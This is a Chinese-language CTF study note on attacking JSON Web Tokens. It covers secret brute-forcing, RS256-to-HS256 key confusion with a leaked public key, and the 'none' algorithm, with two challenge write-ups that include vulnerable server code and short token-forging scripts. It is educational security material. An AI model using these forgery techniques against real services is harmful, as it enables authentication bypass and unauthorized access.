跳转至

JWT

JWT 的通常加密方式有 RS 和 HS

将加密后的内容复制到 https://jwt.io/ 即可看到解密后的结果和加密方式

其中 RS 是需要需要公私钥的,HS 是对称加密

攻击方法

HS 可以使用 https://github.com/brendan-rius/c-jwt-cracker 工具进行爆破

RS 验证配置错误,公钥泄露

加密方式设置为 none

例题:

HSCTF [Broken Tokens]

源码:

import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
    PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == "POST":
        resp = make_response(redirect("/"))
        if request.form["action"] == "Login":
            if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
                auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
            else:
                auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
            resp.set_cookie("auth", auth)
        else:
            resp.delete_cookie("auth")

        return resp
    else:
        auth = request.cookies.get("auth")
        if auth is None:
            logged_in = False
            admin = False
        else:
            logged_in = True
            admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
        resp = make_response(
            render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
        )
    return resp

@app.route("/publickey.pem")
def public_key():
    with open("./publickey.pem", "r") as f:
        resp = make_response(f.read())
        resp.mimetype = 'text/plain'
        return resp

if __name__ == "__main__":
    app.run()

大致就是登录时验证的是私钥,然后登录后验证的是公钥,然后公钥可以通过 /publickey.pem 获取

先登录成 guest,这时 Token 是

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

解密后信息部分是

{ "auth": "guest" }

然后再加密下

#!/usr/bin/env python
import jwt
import base64

with open("publickey.pem", "r") as f:
    PUBLIC_KEY = f.read()
print(jwt.encode({"auth":"admin"}, key=PUBLIC_KEY, algorithm='HS256'))

如果出错了就把报错地方注释掉 ( algorithms.py )

改成

def prepare_key(self, key):
        key = force_bytes(key)
        return key

原因是不能用公钥加密

flag{1n53cur3_tok3n5_5474212}

HFCTF [EasyLogin]

在源码中可以发现 app.js,可以判断是 node.js

在备注中发现

或许该用 koa-static 来处理静态文件
路径该怎么配置?不管了先填个根目录XD

静态文件,根目录,那是不是可以直接访问

于是直接访问根目录下的 app.js,成功读取源码

根据 /static/js/app.js 中

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

以及 /app.js 中

// add controllers:
app.use(controller());

还有 koa 框架的文件结构可知

app.js          入口文件
config          项目路由文件夹
models          对应的数据库表结构
DataBase        保存数据库封装的CRUD操作方法
controllers     项目控制器目录接受请求处理逻辑

访问 /controllers/api.js 可得到逻辑源码

代码中关键功能有:

获得 flag 的功能,SESSION[username] == admin 就能获得

'GET /api/flag': async (ctx, next) => {
    if(ctx.session.username !== 'admin'){
        throw new APIError('permission error', 'permission denied');
    }
    const flag = fs.readFileSync('/flag').toString();
    ctx.rest({
        flag
    });
    await next();
},

注册的功能,很明显这里不让注册用户名为 admin 的用户,同时会根据用户生成一个 JWT 口令

'POST /api/register': async (ctx, next) => {
    const {username, password} = ctx.request.body;
    if(!username || username === 'admin'){
        throw new APIError('register error', 'wrong username');
    }
    if(global.secrets.length > 100000) {
        global.secrets = [];
    }
    const secret = crypto.randomBytes(18).toString('hex');
    const secretid = global.secrets.length;
    global.secrets.push(secret)
    const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
    ctx.rest({
        token: token
    });
    await next();
},

登录的功能

'POST /api/login': async (ctx, next) => {
    const {username, password} = ctx.request.body;
    if(!username || !password) {
        throw new APIError('login error', 'username or password is necessary');
    }
    const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
    console.log(sid)

    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
        throw new APIError('login error', 'no such secret id');
    }
    const secret = global.secrets[sid];
    const user = jwt.verify(token, secret, {algorithm: 'HS256'});
    const status = username === user.username && password === user.password;
    if(status) {
        ctx.session.username = username;
    }
    ctx.rest({
        status
    });
    await next();
},

这里识别用户身份的方法是,在注册时随机生成一个密钥,存入数组,并用它来加密 JWT 信息,JWT中储存着密钥的数组下标和用户名密码

( JWT主要的功能是确认来源,防止伪造数据 )

然后登录时解密第一部分,获得 JWT 中储存的信息,然后根据数组下标获得密钥,然后根据密钥解密数据,比对解密前后的用户名密码是否相同

这里存在的一个漏洞点是,在 JWT 的 jsonwebtoken 库中,接收的参数是 algorithms 而这里写的是 algorithm,这里跳过了验证

并且,当解密时没有密钥,同时加密方式为 none 的时候,会忽视后面的解密算法,按 none 方式解密

所以我们这里要把 JWT 信息解密后的数组下标替换成小数即可将密钥置空,之后就可以修改数值了

JWT 信息部分解密后为

{"secretid":4,"username":"111222","password":"111222"}

所以这里修改为

{"secretid":0.4,"username":"111222","password":"111222"}

之后通过脚本重新加密

import jwt

token = jwt.encode({"secretid":0.4,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
print(token)

将 POST 数据包中的 authorization 内容替换即可以 admin 登录获取 flag